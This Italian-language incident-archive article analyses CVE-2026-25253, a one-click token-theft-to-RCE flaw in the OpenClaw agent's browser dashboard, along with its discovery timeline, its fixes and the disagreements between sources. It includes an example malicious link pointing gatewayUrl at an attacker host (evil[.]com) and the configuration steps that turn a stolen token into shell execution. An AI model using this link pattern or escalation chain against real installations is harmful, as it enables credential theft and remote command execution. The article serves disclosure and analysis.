Dirottamento WebSocket dell'interfaccia di controllo di OpenClaw: un solo link per l'RCE

Il 29 gennaio 2026 la società di sicurezza Ethiack ha pubblicato il proprio resoconto di una vulnerabilità in OpenClaw, l'agente AI personale open source che viene eseguito sulla macchina dell'utente ed è controllato da una dashboard del browser chiamata Control UI. Un link appositamente costruito poteva far sì che quella dashboard consegnasse a un attaccante il token di autenticazione del gateway e, con esso, la capacità di eseguire comandi shell come l'utente connesso. CVE-2026-25253 è arrivato il 1° febbraio 2026 e l'avviso del progetto stesso il giorno successivo, entrambi con un punteggio di 8,8, alto. Ogni distribuzione in cui qualcuno aveva effettuato l'accesso alla Control UI rientrava nell'ambito, comprese le istanze raggiungibili solo tramite loopback. Nessuna fonte consultata per questo articolo registra che la vulnerabilità sia stata usata contro un utente reale. L'archivio registra l'episodio come un incidente infrastrutturale ad alta gravità con un grado di confidenza B e una data con precisione al giorno del 29 gennaio 2026, insieme alle altre voci sulla sicurezza degli agenti nel Orca AI Incident Archive.

Cosa ha fatto Control UI con un URL

OpenClaw è un agente self-hosted a cui i suoi utenti accedono tramite app di messaggistica e una dashboard web, e che opera con quello che il rapporto di Ethiack chiama "accesso completo al sistema". Il progetto era già stato rinominato più di una volta, portando i nomi Clawdbot e Moltbot prima di OpenClaw, e il registro di npm riporta il pacchetto openclaw come creato il 29 gennaio 2026 alle 11:08 UTC. La dashboard è l'elemento che conta qui: conservava il token del gateway nello storage del browser, ed è lì che risiedeva la vulnerabilità.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Due caratteristiche dei browser trasformano quella fuga di dati in una presa di controllo. I browser non applicano la politica di stessa origine alle connessioni WebSocket come fanno con le normali richieste HTTP, e il gateway non convalidava l'intestazione Origin durante l'upgrade, quindi il JavaScript su una pagina visitata dalla vittima poteva aprire un socket direttamente verso ws://localhost:18789 (depthfirst, 1 febbraio 2026). Poiché è il browser stesso della vittima a effettuare la connessione in uscita, l'attacco raggiungeva gateway associati al loopback e invisibili dalla rete. "Questa vulnerabilità è sfruttabile anche su istanze configurate per ascoltare solo sul loopback, poiché è il browser della vittima a iniziare la connessione in uscita", afferma l'avviso del progetto. All'epoca Ethiack ha registrato un'ulteriore condizione: la build stabile di Chrome testata non includeva per impostazione predefinita l'autorizzazione Local Network Access, quindi il browser non mostrava nemmeno alcuna richiesta.

Ciò che il token rubato permette di ottenere è il resto della storia. Aveva gli scope operator.admin e operator.approvals. Con quelli, un attaccante poteva disattivare le approvazioni di esecuzione impostando exec.approvals.set su "off", spostare l'host di esecuzione fuori dal container impostando tools.exec.host su "gateway", e poi eseguire comandi shell sull'host tramite una node.invoke / system.run richiesta (depthfirst, 1 febbraio 2026; The Hacker News, 2 febbraio 2026). L'avviso del fornitore riassume l'esito in una sola frase: l'attaccante può "modificare la configurazione (sandbox, policy degli strumenti) e invocare azioni privilegiate, ottenendo RCE con 1 clic".

Trovato in meno di due ore, da una macchina

La scoperta stessa è stata un esercizio di IA. Ethiack ha sguinzagliato il suo agente autonomo di pentesting, Hackian, su un'istanza OpenClaw attiva il 26 gennaio 2026 alle 13:21 UTC. Ha confermato la vulnerabilità alle 15:05 UTC, circa un'ora e quaranta minuti dopo, il dato che Ethiack mette nel titolo del suo resoconto. L'azienda l'ha segnalata ai manutentori di OpenClaw alle 18:02 UTC. È seguita una pull request il 27 gennaio e la correzione è arrivata sul ramo principale la sera del 28 gennaio, secondo la cronologia pubblicata da Ethiack e la cronologia dei commit del progetto.

Un secondo team è giunto alla stessa conclusione in modo indipendente. Mav Levin, ricercatore di sicurezza fondatore presso depthfirst, ha pubblicato un proprio resoconto il 1° febbraio 2026, scrivendo che "Il team di OpenClaw ha affrontato e corretto rapidamente il problema che avevo segnalato" e che qualcun altro aveva segnalato lo stesso bug in modo indipendente. L'avviso di GitHub riconosce DepthFirstDisclosures come segnalatore ed elenca sia 0xacb sia mavlevin tra gli scopritori. L'account 0xacb riporta il nome del profilo André Baptista, uno dei tre coautori del resoconto di Ethiack, il che è coerente con la cronologia: la pull request di Ethiack per la correzione è stata aperta da quell'account il 27 gennaio e il commit dei maintainer la ringrazia citandola per nome. Nessuna fonte consultata per questo articolo afferma che le due iniziative fossero a conoscenza l'una dell'altra prima della pubblicazione, e nessuna contesta il riconoscimento.

La data del record e le date circostanti

L'archivio data questa voce al 29 gennaio 2026 con precisione giornaliera, e ciò corrisponde al giorno in cui la ricerca di Ethiack è diventata pubblica. La correzione del codice era già stata integrata il giorno precedente. La release con tag che la conteneva è seguita nelle prime ore del 30 gennaio UTC, che corrispondono alla sera del 29 gennaio nel fuso orario Pacifico degli Stati Uniti: npm registra la versione 2026.1.29 alle 04:49 UTC del 30 gennaio e la release GitHub alle 05:26 UTC. Il record CVE di MITRE è datato 1 febbraio 2026 alle 22:34 UTC, l'advisory di GitHub 2 febbraio alle 23:41 UTC, e The Hacker News ha riportato la vulnerabilità il 2 febbraio.

La fonte citata dal record, il tracker degli incidenti degli agenti di Permission Protocol, mantiene una propria cronologia, e alcune sue parti sono in ritardo. Colloca la release di patch al 29-01-2026, coerentemente con il numero di versione, ma data le "prime segnalazioni" della vulnerabilità al 12-02-2026 e l'ampia divulgazione pubblica di CVE-2026-25253 al 26-02-2026, con rassegne indipendenti al 24-03-2026. I documenti primari dicono il contrario. La data del 26 febbraio corrisponde all'analisi della patch di SonicWall, pubblicata tre settimane e mezza dopo che l'identificatore esisteva, e il 12 febbraio cade tra i due scritti di ricerca e l'analisi del fornitore anziché prima di essi. L'ultima riga della cronologia del tracker definisce inoltre il meccanismo "zero-click"; l'avviso del fornitore lo definisce 1-click, e ogni resoconto pubblicato descrive una vittima che deve aprire un link. Laddove tali date ed etichette differiscono, questo articolo segue il record CVE, l'avviso del fornitore e i due scritti di ricerca.

Una precisazione su quella fonte merita di essere dichiarata apertamente. Permission Protocol vende un gate di autorizzazione, e la sua voce inquadra l'incidente in base a ciò che il suo stesso prodotto avrebbe bloccato. La pagina definisce tale valutazione condizionale e afferma di sé che «la fonte non stabilisce un risultato di prevenzione del prodotto». Ciò che la documentazione riporta accuratamente è il suo inquadramento: la ricerca era pubblica tre giorni prima che il CVE esistesse, ed è per questo che l'archivio la definisce una scoperta precoce precedente a CVE-2026-25253.

Cosa è stato effettivamente danneggiato

Nulla, per quanto risulti da qualsiasi fonte. L'archivio contrassegna il record real_harm false, e ciò è coerente con tutto quanto pubblicato al riguardo. Il Centre for Cybersecurity del Belgio ha emesso un avviso il 2 febbraio 2026 affermando che "attualmente non vi è alcuna prova che questa vulnerabilità sia stata sfruttata in ambienti reali". Né Ethiack, né depthfirst, né SonicWall né The Hacker News riportano una vittima, un'installazione compromessa o dati sottratti, e nessuno di essi fornisce un numero di quante installazioni siano state esposte. Ethiack osserva soltanto che c'erano "moltissime istanze in esecuzione su server pubblici" con una configurazione debole, il che è un'impressione più che un conteggio.

Ciò che esiste è codice exploit funzionante. Ethiack ha pubblicato il codice sorgente completo dell'exploit insieme al suo write-up e ha dimostrato la catena contro la propria istanza. L'analisi di SonicWall di febbraio mostra la cattura del token "utilizzando un exploit disponibile pubblicamente". Un repository proof-of-concept di terze parti è apparso su GitHub il 9 marzo 2026. Il codice exploit pubblico non è la stessa cosa dello sfruttamento, e il flag di danno dell'archivio riguarda quest'ultimo.

Una fonte è meno rigorosa delle altre e merita di essere segnalata. La sezione sui rischi del bollettino belga descrive il bot stesso che renderizza contenuti controllati dall'attaccante come fattore scatenante, il che non è il meccanismo indicato nel bollettino del fornitore né in nessuno dei due rapporti di ricerca: in tutti e tre, il browser della vittima viene attirato verso un link e l'agente è il bersaglio, non il veicolo di consegna. La sua dichiarazione sullo sfruttamento è la parte citabile; il suo riassunto del meccanismo no.

Cosa è cambiato e cosa ha lasciato aperto la prima correzione

La correzione in 2026.1.29 ha aggiunto una finestra di dialogo di conferma prima che la Control UI passi a un URL del gateway diverso. L'avviso del progetto descrive la modifica così: «Con la modifica, gli utenti ora devono confermare il nuovo URL del gateway nell'interfaccia utente», e il file che esegue il rendering della finestra di dialogo è presente nel tag v2026.1.29. Ciò aumenta il costo dell'attacco da un clic a un clic più una conferma deliberata. Non elimina la fiducia sottostante in un parametro URL.

La convalida dell'origine, l'altra metà della catena, arrivò più tardi. L'analisi delle patch di SonicWall riporta che «aggiornamenti successivi hanno implementato rigorosi controlli di convalida dell'origine», elencando quattro verifiche: rifiutare un'intestazione Origin mancante o non valida; consentire un host Origin che corrisponde all'intestazione Host; consentire il loopback verso il loopback; consentire le origini nominate in un elenco allowedOrigins configurato; e rifiutare tutto il resto. La sequenza è visibile nel codice sorgente del progetto al tag v2026.1.29, dove il gestore dell'upgrade WebSocket legge e registra l'intestazione Origin senza applicarvi alcuna policy.

Altre risposte riguardavano il rilevamento piuttosto che il codice. SonicWall ha rilasciato la firma IPS 21908 per quella che chiama esposizione di dati sensibili di OpenClaw. depthfirst ha consigliato di aggiornare e ruotare il token del gateway se si sospettava un'esposizione, il che deriva direttamente dal meccanismo: un token rubato resta valido finché qualcuno non lo cambia.

Che cosa è stabilito e che cosa non lo è

Accertato, da documenti primari: il percorso di codice vulnerabile leggeva gatewayUrl dalla query string e si connetteva automaticamente senza validazione; il frame di connessione trasportava il token memorizzato; il gateway non validava l'origine WebSocket, quindi un browser su qualsiasi sito poteva raggiungere il loopback; il token aveva scope admin e di approvazione; le versioni precedenti alla 2026.1.29 erano interessate; e due team hanno scoperto la falla indipendentemente, uno dei quali un agente autonomo che operava dall'esterno.

Non è stabilito: che qualcuno l'abbia sfruttata, quante installazioni fossero raggiungibili all'epoca e se il solo dialogo di conferma sarebbe sufficiente a fermare un attaccante determinato. Il voto B dell'archivio riflette una base di citazioni costituita da un solo tracker secondario, non un qualche dubbio sui meccanismi, e il record non è contrassegnato come contestato. Tali meccanismi sono corroborati dall'avviso del fornitore, dal record CVE di MITRE e da due analisi di ricerca indipendenti, il che è più di quanto il record stesso affermi da solo.

Il riassunto in una riga dell'archivio la definisce una scoperta precoce, precedente a CVE-2026-25253, ed è questo il modo giusto di leggere la voce: il resoconto di una vulnerabilità trovata, segnalata e corretta prima che avesse un identificatore, in un prodotto creato per eseguire comandi sulla macchina su cui risiede. La CVE che ne è seguita descrive gli stessi tre comportamenti — un parametro di query, una connessione non sollecitata e un token nell'handshake — e nessuna fonte consultata per questo articolo colloca qualcuno all'altro capo della vicenda.